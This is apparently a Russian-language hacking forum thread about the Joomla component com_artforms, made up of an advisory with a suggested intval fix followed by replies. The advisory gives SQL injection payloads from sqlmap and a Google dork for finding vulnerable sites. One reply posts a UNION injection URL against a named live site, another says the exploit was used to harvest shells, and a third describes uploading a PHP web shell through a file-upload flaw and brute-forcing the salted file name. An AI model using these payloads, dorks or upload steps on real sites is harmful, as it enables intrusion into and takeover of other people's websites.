1) Дата: 9.02.2012 2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/ 3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability 4) Автор: Machine 5) Тип: удалённая 6) Опасность: 9 7) Описание: описание смысла уязвимости, пример дырявого кода $formid = JArrayHelper::getValue( $_REQUEST, 'formid' ); $db =& JFactory::getDBO(); saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid ); Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для проведения SQL иньекции, вводя произвольный SQL код. Вывод sqlmap: GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable GET parameter 'formid' is vulnerable. При подстановке в formid кавычки, встретил 2 варианта: 1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in." 2. Уязвимый запрос никак не влияет на возвращаемую страницу. Оба варианта можно эксплуатировать. 8) Эксплоит: Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection. Вывод sqlmap: --- Place: GET Parameter: formid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ --- 9) Поиск: пример поиска приложения через поисковые системы Google dork: inurl:index.php?option=com_artforms 10) Решение: в /components/com_artforms/artforms.php $formid = JArrayHelper::getValue( $_REQUEST, 'formid' ); поменять на $formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' )); ===================== Видео _http://depositfiles.com/files/j5vqht4y9 ===================== Отдельное спасибо z0mbyak'у.
Code: http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+&Itemid=202 обычный вывод
Обычный вывод не везде срабатывает! Понадобилось нарыть по быстрому шеллов, воспользовался данным експлоитом, до сих пор актуален, автору +!
Расковырял такую багу в версии ArtForms 2.1b7.2 думаю имеет смысл покапать и другие версии. Заполняем форму прикрепляем свой шелл и идем в папку куда все заливается: сам код заливки: протестировал тут успешно: Формат в котором заливается: PHP: $attachmentsname = date('Y-m-d-H-i-s-').$saltpass.'-'.str_replace(' ','-',$_FILES['attfile']['name'][$g]); 2014-01-12-16-15-32-PhpjV-shell.php 2014-01-12-16-19-22-vyEVm-shell.php попадались сайты с расшареной папкой по запросу: Но не везде проходила эта бага... с закрытыми папками остается только брутить соль в название из 5 символов. сам проект ведется здесь: